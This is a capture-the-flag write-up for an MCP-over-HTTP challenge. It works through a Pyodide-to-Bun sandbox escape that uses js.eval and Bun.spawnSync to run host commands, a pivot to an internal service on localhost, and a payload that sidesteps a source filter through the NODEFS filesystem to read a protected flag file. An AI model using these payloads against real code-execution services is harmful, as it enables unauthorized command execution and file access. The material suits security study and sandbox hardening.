Hello Sunshine
May 18, 2026
Hello Sunshine
Overview
Hello Sunshine was an MCP-over-HTTP challenge at open-sunshine.mcp.ctf. The public service exposed a run_python tool backed by Pyodide, but the sandbox had a JavaScript bridge into a Bun host process.
The first flag was readable from the external process running as part1. The second flag was protected by Unix permissions and required pivoting to an internal MCP service on 127.0.0.1:8080 running as part2.
Concrete flag filenames and flag values are redacted in this public version.
Service Fingerprinting
The target did not behave like a normal web app:
curl -i "http://open-sunshine.mcp.ctf"
curl -i -X OPTIONS "http://open-sunshine.mcp.ctf"
curl -i -X POST "http://open-sunshine.mcp.ctf"
Observed behavior:
GETreturned405 Method Not AllowedOPTIONSadvertised multiple methodsPOSTrequiredAccept: application/json, text/event-stream
Initializing it as an MCP JSON-RPC endpoint identified the external server as MCPy 1.0.0:
curl -i -X POST "http://open-sunshine.mcp.ctf" \
-H "Accept: application/json, text/event-stream" \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"opencode","version":"1.0"}}}'
Listing tools showed the useful primitive:
run_python
Pyodide Environment Escape
Basic run_python calls worked normally:
curl -s -X POST "http://open-sunshine.mcp.ctf" \
-H "Accept: application/json, text/event-stream" \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"run_python","arguments":{"code":"print(1+1)"}}}'
Environment probing showed that Python was running in Pyodide and that the js bridge was available:
import sys
print(sys.version)
print(sys.path)
import js
print(dir(js)[:20])
That bridge exposed Bun/Node-like host objects. Calling Bun.spawnSync(...) through js.eval(...) confirmed host command execution as the external part1 user:
import js
print(js.eval('Bun.spawnSync({cmd:["ls","-la","/home/part1"], stdout:"pipe"}).stdout.toString()'))
First Flag
Using the host escape, I searched for flag-like files:
import js
print(js.eval('Bun.spawnSync({cmd:["find","/","-maxdepth","3","-iname","*flag*"], stdout:"pipe", stderr:"pipe"}).stdout.toString()'))
This found separate files for part 1 and part 2. The exact filenames are redacted:
/flag-part1-[redacted].txt
/flag-part2-[redacted].txt
The part 1 file was readable directly by the external part1 process:
import js
print(js.eval('Bun.spawnSync({cmd:["cat","/flag-part1-[redacted].txt"], stdout:"pipe", stderr:"pipe"}).stdout.toString()'))
The first flag value is redacted:
[redacted hello_sunshine flag 1]
Why Part 2 Needed A Pivot
The second flag file existed on disk but was not readable by part1:
-r--r----- 1 root part2 ... /flag-part2-[redacted].txt
Direct reads returned Permission denied.
Process and listener enumeration revealed another local service:
- external MCP service on port 80, running as
part1 - internal MCP service on
127.0.0.1:8080, running aspart2 - two Bun processes, one for each user
Reaching The Internal MCP Service
The external part1 process could reach the internal service by shelling out to curl from inside Bun.spawnSync(...).
Initializing the internal endpoint identified it as MCPy 1.0.1, and it also exposed only run_python.
To make repeated testing manageable, I used a local helper script that sent an outer MCP request to the public server. The outer Python payload then made an inner POST to 127.0.0.1:8080:
node "outputs/pivot_part2.mjs" "print(1)"
Internal Filter Bypass
The internal service blocked obvious dangerous code such as import js, returning a dangerous-code error. However, its runtime already exposed useful globals.
Probes like these showed what was available:
node "outputs/pivot_part2.mjs" "print(sorted(globals().keys()))"
node "outputs/pivot_part2.mjs" "print(__builtins__)"
node "outputs/pivot_part2.mjs" "print(repr(globals()['pjs']))"
node "outputs/pivot_part2.mjs" "print(dir(pjs)[:50])"
node "outputs/pivot_part2.mjs" "print([k for k in dir(pjs.FS.filesystems)][:100])"
Important findings:
pjs,api,ffi, and other helper globals were already presentfnalready held the path to the second flagpjs.FS.filesystems.NODEFSwas available
The leaked pjs.globals data included the second flag path, redacted here:
fn = '/flag-part2-[redacted].txt'
Reading The Second Flag
The winning payload created a NODEFS node for the host path and then read it through Python’s file API:
node "outputs/pivot_part2.mjs" "r=pjs.FS.lookupPath('/').node;n=pjs.FS.filesystems.NODEFS.createNode(r,fn[1:],pjs.FS.filesystems.NODEFS.getMode(fn),0);print(open('/'+fn[1:]).read())"
Why it worked:
fnalready contained the real host path to the second flagNODEFS.getMode(fn)touched host file metadata without needing a filtered importNODEFS.createNode(...)created an Emscripten/Node-backed file node under/- Python
open('/'+fn[1:]).read()then read through that mounted node abstraction as the internalpart2context
The second flag is redacted:
[redacted hello_sunshine flag 2]
Takeaways
The public MCP endpoint was not safely sandboxed because Pyodide exposed a live JavaScript bridge into Bun. The second stage showed that filtering dangerous source text is not enough if the runtime already contains powerful preloaded globals and filesystem abstractions.